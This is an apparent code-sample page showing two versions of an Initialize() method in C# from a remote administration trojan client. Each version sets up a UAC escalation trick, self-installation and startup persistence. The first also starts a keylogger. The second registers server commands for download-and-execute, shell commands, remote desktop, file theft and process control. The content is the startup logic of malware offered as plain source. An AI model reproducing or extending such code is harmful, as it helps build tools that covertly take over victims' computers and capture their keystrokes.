Exemplo n.º 1
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath          = Application.ExecutablePath;
            SystemCore.InstallPath     = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType     = SystemCore.GetAccountType();
            SystemCore.InitializeGeoIp();

            if (Settings.ENABLEUACESCALATION)
            {
                if (SystemCore.TryUacTrick())
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }
            }

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop      = new ApplicationContext();
                        Logger logger = new Logger(15000);
                        Application.Run(_msgLoop);
                    }).Start();;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                SystemCore.Install();
            }
        }
Exemplo n.º 2
0
    static void Initialize()
    {
        System.Threading.Thread.Sleep(2000);

        SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
        SystemCore.MyPath          = Application.ExecutablePath;
        SystemCore.InstallPath     = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME);
        SystemCore.AccountType     = SystemCore.GetAccountType();
        SystemCore.InitializeGeoIp();

        if (Settings.ENABLEUACESCALATION)
        {
            if (SystemCore.TryUacTrick())
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }
        }

        if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }

            new Thread(SystemCore.UserIdleThread).Start();

            _Client = new Core.Client(8192);

            _Client.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof(Core.Packets.ServerPackets.InitializeCommand),
                typeof(Core.Packets.ServerPackets.Disconnect),
                typeof(Core.Packets.ServerPackets.Reconnect),
                typeof(Core.Packets.ServerPackets.Uninstall),
                typeof(Core.Packets.ServerPackets.DownloadAndExecute),
                typeof(Core.Packets.ServerPackets.Desktop),
                typeof(Core.Packets.ServerPackets.GetProcesses),
                typeof(Core.Packets.ServerPackets.KillProcess),
                typeof(Core.Packets.ServerPackets.StartProcess),
                typeof(Core.Packets.ServerPackets.Drives),
                typeof(Core.Packets.ServerPackets.Directory),
                typeof(Core.Packets.ServerPackets.DownloadFile),
                typeof(Core.Packets.ServerPackets.MouseClick),
                typeof(Core.Packets.ServerPackets.GetSystemInfo),
                typeof(Core.Packets.ServerPackets.VisitWebsite),
                typeof(Core.Packets.ServerPackets.ShowMessageBox),
                typeof(Core.Packets.ServerPackets.Update),
                typeof(Core.Packets.ServerPackets.Monitors),
                typeof(Core.Packets.ServerPackets.ShellCommand),
                typeof(Core.Packets.ClientPackets.Initialize),
                typeof(Core.Packets.ClientPackets.Status),
                typeof(Core.Packets.ClientPackets.UserStatus),
                typeof(Core.Packets.ClientPackets.DesktopResponse),
                typeof(Core.Packets.ClientPackets.GetProcessesResponse),
                typeof(Core.Packets.ClientPackets.DrivesResponse),
                typeof(Core.Packets.ClientPackets.DirectoryResponse),
                typeof(Core.Packets.ClientPackets.DownloadFileResponse),
                typeof(Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof(Core.Packets.ClientPackets.MonitorsResponse),
                typeof(Core.Packets.ClientPackets.ShellCommandResponse)
            });

            _Client.ClientState += ClientState;
            _Client.ClientRead  += ClientRead;
        }
        else
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }

            SystemCore.Install();
        }
    }